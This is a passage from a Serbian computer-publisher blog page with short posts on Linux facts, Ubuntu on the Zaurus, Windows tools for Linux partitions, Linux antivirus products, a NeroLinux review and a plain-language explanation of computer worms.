billion in revenue this year. Fact #22: Linux doesn’t necessarily come with a graphic user interface (GUI). Many developers interact with it through a command line shell — usuallyBash. You can choose from a variety of GUI shells, such as Xfce and KDE. When you hear the term “Xubuntu”, it means “Ubuntu with Xfce. ” Can you guess what “Kubuntu” means? Ǝpʞ ɥʇᴉʍ nʇunq∩ :ɹǝʍsuɐ Fact #23: Linux uses the GNU General Public License. “The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software — to make sure the software is free for all its users. ” — GNU GPL preamble Fact #24: Linux uses a “Unix-like” design, where its monolithic Linux kernel oversees file systems, networking, and process control. The rest of the functionality is handled by modules — many of which are from the GNU project. Fact #25: Even Microsoft Windows — Linux’s biggest competing operating system — is embracing Linux. It recently integrated Ubuntu Bash into Windows 10. Here’s to the next 25 years of Linux. May open source software continue to make the world a less buggy place! LINK
 
   

Linux: Ubuntu portovan na Zaurus, možda može i Doom da pokrene

 

 

 

Sharp je možda napustio svoju Zaurus liniju PDA-ova/mikroračunara. Ali to nije obeshrabrilo hakere koji nastavljaju da dodaju nove funkcionalnosti ovim sićušnim računarima. Zadnji podvig hakera je to što su uspeli da portuju čitav desktop operativni sistem u obliku Ubuntua ili Fedore koji sada mogu besprekorno da rade na Zaurus-u. 0. 1 izdanje Ubuntu-a za Zaurus je zasnovano na Ubuntu 7. 04 Feisty Fawn-u, iako ga njegov programer zove Frisky Firedrake. Ova prilagođena distribucija nema većinu naprednih funkcija koju dobijate u standardnoj Ubuntu instalaciji, ali to je i očekivano pošto instalacioni fajl ima samo 80MB. Sledeća izdanja će najverovatnije da uključuju više funkcionalnosti koju ima kompletna Ubuntu instalacija. Ako imate Zaurus C3x00 seriju uređaja i želju za avanturom, i vi možete da isprobate Frisky Firedrake 0. 1 i probate da dodate pakete i prilagodite njegovo okruženje vašim potrebama. Adresa: 0. 1 izdanje Ubuntu-a za Zaurus
 
   

Najbolji alati za pristupanje Linux particijama iz Windowsa

 

 

 

Ako imate računar na kojem dual butujete Windows i Linux, i imate važne podatke razbacane na nekoliko particija u Linuxu i Windowsu, onda vam stvarno treba neko rešenje koje je elegantnije od postojećeg. Ponekad će vam trebati pristup fajlovima na Linux particiji iz Windowsa i shvatićete da ne možete tako lako da im pristupite. Ali sa alatima koje ćemo opisati u ovom članku - veoma lako ćete pristupiti svim fajlovima na Linux particiji direktno iz Windowsa: DiskInternals Linux Reader DiskInternals Linux Reader ima interfejs koji podseća na Windows Explorer i može da obezbedi pristup ka Ext2 i Ext3 Linux particijama iz Windowsa. Vi lako možete da ekstrahujete fajlove sa Linux particije na vašu Windows particiju. Vi takođe možete da upotrebite ovaj alat da biste pisali na date particije. Adresa: http://www. diskinternals. com/linux-reader/ Ext2 Installable File System for Windows Malo bolji od prethodno opisanog alata, ovaj program će vam omogućiti da čitate i da pišete na Ext2 i Ext3 fajl sisteme iz Windowsa. Plus, nakon što instalirate ovu aplikaciju, Windows će moći da koristi vašu Linux particiju kao paging fajl. Adresa: http://www. fs-driver. org/ Još jedan alat sličan prethodno opisanom je i ovaj, ali mi ga nećemo opisati u ovom članku, pošto smo danas malo lenji :)))
 
   

Najbolji antivirusni programi za Linux

 

 

 

Iako je Linux izuzetno bezbedan operativni sistem, vi i dalje možete da nađete viruse na njemu. Broj korisnika Linuxa se duplira svake godine, kao što možete da vidite u najnovijim vestima. Kako se broj korisnika povećava, tako možemo da očekujemo i povećanje broja virusa za Linux. Neki od virusa koji napadaju Linux su: Linux. Bliss, Linux. Diesel, Linux. Gildo, Linux. Kagob, Linux. Nuxbee, Linux. Satyr, Linux. Vit. 4096, Linux. Winter, Linux. Zipworm. Većinom ovi Linux virusi nisu rezidentni u memoriji i po svojoj prirodi su paraziti i ući će u fajl i promeniti njegovu veličinu. Ovi virusi nisu toliko opasni kao oni za Windows, ali je prevencija je uvek bolja od lečenja. Sledi lista antivirusnih alata za Linux. Antivirusni alati za Linux 1. Clam je poznati antivirusni alat otvorenog koda. Clam je e-mail zasnovan, tojest on proverava viruse na e-mail gateway-u. Clam je specifično dizajniran za Linux sisteme. 2. Panda je dobro poznati proizvođač antivirusnih alata za Windows, a izdali su i Linux verziju. Radi samo sa Redhat, SuSE, Mandrake i Debian distribucijama, kao što se i navodi na njihovom web sajtu. 3. AVG je antiviriusni program otvorenog koda, i ima najbolje funkcije detekcije od svih besplatnih antivirusnih programa. On može da se koristi sa Redhat, SuSE, Mandrake i Debian distribucijama. Tri nabrojana antivirusna alata su ona koji se najčešće koriste. U ostale antivirusne alate za Linux spadaju: 4. AMaViS je takođe e-mail skener baš kao i Clam AV, ali nije tako popularan kao on. 5. AntiVir Personal Edition Classic je još jedan vredan antivirusni alat za Windows koji postoji i u verziji za Linux. 6. Kaspersky Anti-virus for Linux workstations : Ova višestruko nagrađivana kompanija obezbeđuje i antivirusne alate za Linux i radi skoro na svim poznatim Linux distribucijama. 7. McAfee VirusScan Validate Ovaj shareware antivirusni i pomoćni program radi dobro na svim paltformama. 8. TKAntiVir : Još jedan dobro poznati antivirusni paket za Linux radne stanice. 9. F-Prot Antivirus nije nova antivirusna kompanija i dobro je poznata po svojim antivirusnim rešenjima. Sada postoji i verzija za Linux ovog poznatog antivirusnog programa. Kako broj korisnika Linuxa i Linux zajednica u celini rastu, tako možemo da očekujemo i da će broj virusa pratiti ovaj rast. U ovom trenutku, nije neophodno instalirati antivirusni alat na Linux, ali toplo preporučujem svim korisnicima Linuxa da instaliraju i neko antivirusno rešenje iz dva razloga: 1. jer je većina besplatno dostupna i 2. jer nema nikakvih negativnih posledica od instaliranja besplatnog programa koji može samo da doprinese bezbednosti vašeg računara. Šta vi mislite? Da li su antivirusni programi stvarno potrebni na Linux sistemima?
 
   

NeroLinux 3 - stari prijatelj u novom svetlu

 

 

 

Za mnoge izbeglice iz Windowsa, jedan od najtežih delova prelaska na Linux je potraga za aplikacijama. Nemojte pogrešno da nas shvatite, postoji OGROMNA selekcija kvalitetnih besplatnih programa za Linux platformu, ali kada neko koristi određeno softversko rešenje godinama, potrebno je vremena da se pronađe funkcionalna zamena za program na koji se navikao. Za bivše korisnike aplikacije Nero Burning Rom, tu je K3b, aplikacija koja mu je toliko slična da slobodno možemo da kažemo da je identična, ali ponekad je najlepše držati se programa u koje imamo poverenja, umesto da se prebacimo na nešto slično. Nero je dostupan za Linux već nekoliko godina, ali prethodne verzije za Linux su bile razočaravajuće. Zato smo odlučili da uzmemo najnoviju verziju, NeroLinux 3, i isprobamo je. I možemo vam reći da smo bili impresionirani onim što smo iskusili. NeroLinux se distribuira i u DEB i u RPM formi, što znači da se lako instalira na većini popularnih Linux zasnovanih operativnih sistema. Mi smo ga instalirali na zadnju betu Ubuntu Hardy-ja, i radio je sasvim dobro na njemu. Program se instalirao bez problema, i bili smo zadovoljni kada smo ustanovili da je zasnovan na GTK-u, što znači da se savršeno slaže sa GNOME desktopom, standardnim desktop sistemom u Ubuntu-u i Fedori. Mi smo narezali nekoliko CD-ova i DVD-ova i radio je upravo onako kako smo očekivali. Bilo ko ko je koristio Nero na Windowsu garantovano će se osećati kao kod kuće i ovde, pošto su funkcije iste one koje ćete naći u Nero Burning Rom-u 7. NeroLinux 3 je dostupan po ceni od 19. 99 dolara na Nero-ovoj web prodavnici, ili kao besplatni trial daunlod.
 
   

O virusima 2/5 – Šta je crv?

 

 

 

Crv je, kao i virus, napravljen tako da se kopira sa jednog računara na drugi, samo što on to radi automatski, preuzimanjem kontrole nad funkcijama računara koje omogućuju prenos datoteka i podataka. Kada crv uđe u vaš sistem, on dalje može da putuje sam. Velika opasnost kod crva jeste njihova sposobnost da se umnožavaju u ogromnim količinama. Na primer, crv bi mogao da pošalje kopije sebe samog svima iz vašeg adresara e-pošte, a zatim bi njihovi računari uradili to isto, čime se izaziva domino efekat zagušenja u mrežnom saobraćaju što usporava poslovne mreže i Internet u celini. Kada se oslobode, novi crvi se šire veoma brzo, zagušujući mreže, što može da znači da ćete vi (i svi ostali) morati da čekate duplo duže da se otvore Web stranice na Internetu. Crv je potklasa virusa. Crv se obično širi bez pomoći korisnika i sam distribuira sopstvene potpune kopije (možda izmenjene) širom mreža. Crv može da zauzme memoriju ili propusni opseg mreže toliko da računar prestane da reaguje. Pošto crvima nije potreban „program-domaćin“ ili datoteka da bi putovali, oni takođe mogu da se krišom uvuku u vaš sistem i omoguće nekome drugome da daljinski kontroliše vaš računar. Pripremio: Milenko Kusurović
 
   
Strane: 1 2 3 4 5 6 7 89

 

Veze, linkovi
Linkedin Twitter Facebook
 
     
 
© Sva prava pridržana, Kompjuter biblioteka, Beograd, Obalskih radnika 4a, Telefon: +381 11 252 0 272